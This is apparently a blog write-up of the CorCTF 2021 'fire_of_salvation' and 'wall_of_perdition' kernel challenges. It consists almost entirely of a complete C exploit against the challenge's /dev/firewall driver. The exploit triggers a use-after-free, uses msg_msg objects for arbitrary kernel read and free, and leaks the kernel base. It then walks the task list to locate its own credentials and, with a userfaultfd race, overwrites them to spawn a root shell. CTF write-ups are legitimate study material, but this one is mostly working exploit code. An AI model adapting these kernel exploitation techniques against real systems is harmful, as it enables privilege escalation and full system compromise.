nipaste_2024-04-02_11-31-0

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <semaphore.h>
#include <ctype.h>
#include <stdint.h>
#include <asm/ldt.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#define SECONDARY_STARTUP_64 0xffffffff81000030
#define PAGE_SIZE 0x1000
#define INBOUND 0
#define OUTBOUND 1

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#ifndef MSG_COPY
#define MSG_COPY 040000 /* copy (not remove) all queue messages */
#endif

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
output_msg("Process binded to core");
}


// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len)
{
size_t *buf64 = (size_t *) addr;
char *buf8 = (char *) addr;
for (int i = 0; i < len / 8; i += 2) {
printf(" %04x", i * 8);
for (int j = 0; j < 2; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

typedef struct {
long mtype;
char mtext[1];
}msg;

struct list_head {
struct list_head *next, *prev;
};

/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

char temp_page_for_stuck_1[0x2000];
char temp_page_for_stuck_2[0x1000];
void register_userfaultfd(pthread_t *monitor_thread, void *addr,
unsigned long len, void *(*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
err_msg("userfaultfd");
}

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
err_msg("ioctl-UFFDIO_API");
}

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
err_msg("ioctl-UFFDIO_REGISTER");
}

s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0) {
err_msg("pthread_create");
}
}

void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread,
void *buf, unsigned long len, void *(*handler)(void*))
{
register_userfaultfd(monitor_thread, buf, len,
handler);
}


#define DESC_MAX 0x800
int firewall_fd, fd;
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} user_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} rule_t;

void add(user_rule_t *req){
ioctl(firewall_fd, 0x1337babe, req);
}

void delete(user_rule_t *req){
ioctl(firewall_fd, 0xdeadbabe, req);
}

void edit(user_rule_t *req){
ioctl(firewall_fd, 0x1337beef, req);
}

void dup_rule(user_rule_t *req){
ioctl(firewall_fd, 0xbaad5aad, req);
}

void construct_user_rule(user_rule_t *buf, char *iface, char *name, char *ip,
char *netmask, uint8_t idx, uint8_t type, uint16_t proto,
uint16_t port, uint8_t action){
strncpy(((user_rule_t *) buf)->iface, iface, 0x10);
strncpy(((user_rule_t *) buf)->name, name, 0x10);
strcpy(((user_rule_t *) buf)->ip, ip);
strcpy(((user_rule_t *) buf)->netmask, netmask);
((user_rule_t *) buf)->idx = idx;
((user_rule_t *) buf)->type = type;
((user_rule_t *) buf)->proto = proto;
((user_rule_t *) buf)->port = port;
((user_rule_t *) buf)->action = action;
return;
}

void gen_dot_notation(char *buf, uint32_t val)
{
sprintf(buf, "%d.%d.%d.%d", val & 0xff, (val & 0xff00) >> 8, (val & 0xff0000) >> 16, (val & 0xff000000) >> 24);
return;
}

char *buf;
int ms_qid[0x100];
int pipe_fd[3][2];
size_t real_cred, cred;
char *hijack_page, *write_msg_page;
size_t next_secondary_msg, next_primary_msg, primary_msg, queue;
void *hijack_func_handler(void *args){
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) args;

for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1) {
err_msg("poll");
}

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0) {
err_msg("EOF on userfaultfd!\n");
}

if (nread == -1) {
err_msg("read");
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
err_msg("Unexpected event on userfaultfd\n");
}

/*list actions here you want to do*/
printf("[+] hello stuck here!\n"); //construct fake ms_qid[0x21]'s msg_msg header

write(pipe_fd[0][1], "a", 1);

memset(temp_page_for_stuck_1, 0, 0x2000);
int size = 0x1050;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_list.next = 0;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_list.prev = 0;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_type = 1;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_ts = size - 0x38;
((struct msg_msg *)&temp_page_for_stuck_1[0])->next = (void*)(real_cred - 8); //come true arb write

char by;
read(pipe_fd[1][0], &by, 1);

memset(&temp_page_for_stuck_2[0x50], 'd', 0x50);
uffdio_copy.src = (unsigned long long) temp_page_for_stuck_1;
uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
err_msg("ioctl-UFFDIO_COPY");
}

write(pipe_fd[2][1], "a", 1);

return NULL;
}
}

void *write_msg_handler(void *args){
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) args;

for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1) {
err_msg("poll");
}

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0) {
err_msg("EOF on userfaultfd!\n");
}

if (nread == -1) {
err_msg("read");
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
err_msg("Unexpected event on userfaultfd\n");
}

/*list actions here you want to do*/
printf("[+] just sleep my baby temporarily\n");

write(pipe_fd[1][1], "a", 1);
char by;
read(pipe_fd[2][0], &by, 1);

memset(temp_page_for_stuck_2, 0, 0x1000);
printf("[+] try to change cred!\n");
uffdio_copy.src = (unsigned long long) temp_page_for_stuck_2;
uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
err_msg("ioctl-UFFDIO_COPY");
}

return NULL;
}
}

void* thread_handler1(void* arg)
{
printf("[+] thread1 begin to work\n");
memset(hijack_page, 'c', 0x1000);
if (msgsnd(ms_qid[0x20], hijack_page + PAGE_SIZE - 0xfd0, 0x1fc0, 0) < 0) err_msg("fail msgsnd");

printf("[+] thread1 over\n");
return NULL;
}

void* thread_handler2(void* arg)
{
char by;
read(pipe_fd[0][0], &by, 1);

printf("[+] thread2 begin to work\n");
user_rule_t req;
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
//restore the msg_msg prev & next pointer & size and modify msg_msg->next to come true arb free
int size = 0x8;
((struct msg_msg *)&req)->m_list.next = (void*)queue;
((struct msg_msg *)&req)->m_list.prev = (void*)queue;
((struct msg_msg *)&req)->m_type = 1; //set msg->m_ts
((struct msg_msg *)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((next_secondary_msg) & 0xffffffff)); //next_primary_msg - 0x20
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((next_secondary_msg) >> 32) & 0xffffffff));
edit(&req);

if (msgrcv(ms_qid[0], buf, size, 1, IPC_NOWAIT | MSG_NOERROR) < 0) err_msg("fail msgrcv"); //release ms_qid[0x20] --> msg_msgeg

output_msg("success to free the msg_msgeg which belong to the ms_qid[0x20]");
memset(write_msg_page, 'a', 0x1000);
if (msgsnd(ms_qid[0x21], write_msg_page + PAGE_SIZE - 0xfd0, 0x1050 - 0x38, 0) < 0) err_msg("fail msgsnd"); //this page is prepare to arb write struct cred
printf("[+] thread2 over\n");

return NULL;
}


size_t msg_msg_addr;
size_t init_task = 0xffffffff81c124c0;
size_t init_ipc_ns = 0, page_offset_base = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;
int main(){
int ret;
int idx;
int size;
int shm_id;
char *shm_addr;
user_rule_t req;

bind_core(0);
buf = malloc(0x4000);
firewall_fd = open("/dev/firewall", O_RDONLY);
fd = firewall_fd;
if(firewall_fd < 0) err_msg("Fail to open device...");

pipe(pipe_fd[0]);
pipe(pipe_fd[1]);
pipe(pipe_fd[2]);

// register userfaultfd page
pthread_t uffd_hijack, uffd_write_msg;
hijack_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_hijack, hijack_page + PAGE_SIZE, PAGE_SIZE, hijack_func_handler);

write_msg_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_write_msg, write_msg_page + PAGE_SIZE, PAGE_SIZE, write_msg_handler);

// STEP.1 leak kernel_base by secondary_startup_64
for (int i = 0; i < 0x22; i++){
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0) err_msg("msgget");
}
// ms_qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 0, INBOUND, 0, 0, 0);
add(&req);
dup_rule(&req); //dup_rule to prepare UAF
delete(&req); //release obj

memset(buf, 0, 0x1000); //obtain obj
memset(buf, 'a', 0x10);
size = 0x40;
if (msgsnd(ms_qid[0], buf, size - 0x30, 0) < 0) err_msg("Fail send msg");
for (int i = 1; i < 0x20; i++){
*(size_t *)&buf[0] = 0x6161616161610000 + i; //i ==> m_type
if (msgsnd(ms_qid[i], buf, size - 0x30, 0) < 0) err_msg("Fail send msg"); //primary_msg
memset(buf, 'a', 0x10);
if (msgsnd(ms_qid[i], buf, 0x1fc8, 0) < 0) err_msg("Fail send msg"); //secondary_msg
}

size = 0xfd0;
memset((void *)&req, 0, sizeof(user_rule_t));
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
edit(&req);

memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, size, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if(ret < 0) err_msg("Fail msgrcv");
// print_binary(buf, 0x200);
print_binary(buf, 0x40);

int pos;
for (pos = 0; pos < size; pos += 8 ){
if( (*(size_t *)&buf[pos] & 0xffffffffffff0000) == 0x6161616161610000 && *(size_t *)&buf[pos+8] == 0x10){ //m_ts ==> 0x10
idx = *(size_t *)&buf[pos] & 0xff;
queue = *(size_t *)&buf[pos-0x8];
next_secondary_msg = *(size_t *)&buf[pos-0x10];
page_offset_base = next_secondary_msg & 0xfffffffff0000000;
printf("[+] the next msg_msg's idx == %d\n", idx);
print_addr("queue", queue);
print_addr("next_secondary_msg", next_secondary_msg);
print_addr("page_offset_base", page_offset_base);
break;
}
}

size = 0x1010;
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((next_secondary_msg - 0x8) & 0xffffffff));
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((next_secondary_msg - 0x8) >> 32) & 0xffffffff));
edit(&req);

memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, size, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
// print_binary(buf+0xf00, 0x100);
next_primary_msg = *(size_t *)&buf[0xfe0];
primary_msg = next_primary_msg - pos - 0x18;
printf("[+] get cur msg_msg addr!\n");
print_addr("next_primary_msg", next_primary_msg);
print_addr("primary_msg", primary_msg); //verify valid by using msg arb read with (primary_msg - 8)


size = 0x1010;
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((page_offset_base + 0x9d000 - 0x10) & 0xffffffff));
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((page_offset_base + 0x9d000 - 0x10) >> 32) & 0xffffffff));
edit(&req);

memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, size, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
// print_binary(buf+0xf00, 0x100);
print_binary(buf+0xfa0, 0x60);

// size_t secondary_startup = *(size_t *)&buf[0xfe0];
kernel_offset = *(size_t *)&buf[0xfe0] - SECONDARY_STARTUP_64;
init_task += kernel_offset;
kernel_base += kernel_offset;
printf("[+] get cur init_task addr!\n");
print_addr("init_task", init_task);
print_addr("kernel_offset", kernel_offset);


//STEP.2 Find real_cred and cred with init_task by msg_msg arb read
int pid, cur_pid;
size_t cur_task, next, tasks = init_task + 0x298;
cur_pid = getpid();
printf("[+] my pid is %d\n", cur_pid);
while (cur_pid != pid){
size = 0x1400;
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((tasks - 8) & 0xffffffff));
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((tasks - 8) >> 32) & 0xffffffff));
edit(&req);

// read tasks in init_task before 8 bytes ==> null
memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0) err_msg("Fail msgrcv");
// print_binary(buf+0xf00, 0x100);
print_binary(buf+0xfa0, 0x50);

pid = *(int *)&buf[0xfd8 + 0x100]; // offset_pid_tasks 0x398 - 0x298 = 0x100
tasks = *(size_t *)&buf[0xfd8 + 8]; // next_tasks
print_addr("found pid", pid);
print_addr("found tasks", tasks);
}

cur_task = tasks - 0x298;
cred = *(size_t *)&buf[0xfd8 + 0x2a8]; // offset 0x540 - 0x298 = 0x2a8
real_cred = *(size_t *)&buf[0xfd8 + 0x2a0]; // offset 0x538 - 0x298 = 0x2a0
if (cred != real_cred) err_msg("fail to find init_tasks");
printf("[+] yeah you got it!\n");
print_addr("real_cred", real_cred);
print_addr("cur_task", cur_task);
if(real_cred != cred) err_msg("fail to find cred, plz try again!");

//STEP.3 arb address free by msg_msg
ret = msgrcv(ms_qid[idx], buf, 0x40, 0, IPC_NOWAIT | MSG_NOERROR); //release ms_qid[idx] first msg_msg (size == 0x40)
if (ret < 0) err_msg("bad lucky!");
ret = msgrcv(ms_qid[idx], buf, 0x2000, 0x6161616161616161, IPC_NOWAIT | MSG_NOERROR); //release ms_qid[idx] two slab (size == 0x1000 for each page)
if (ret < 0) err_msg("bad lucky!");

pthread_t th1, th2;
ret = pthread_create(&th1, NULL, thread_handler1, NULL);
if (ret != 0) err_msg("FAILED to create a new thread");
ret = pthread_create(&th2, NULL, thread_handler2, NULL);
if (ret != 0) err_msg("FAILED to create a new thread");
pthread_join(th1, NULL);
pthread_join(th2, NULL);

if(getuid() == 0){
printf("[+] you are great man!");
system("/bin/sh");
}
return 0;
}
  • Title: CorCTF2021-fire_of_salvation & wall_of_perdition
  • Author: henry
  • Created at : 2024-04-02 11:50:59
  • Updated at : 2024-04-02 11:58:40
  • Link: https://henrymartin262.github.io/2024/04/02/CorCTF2021/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments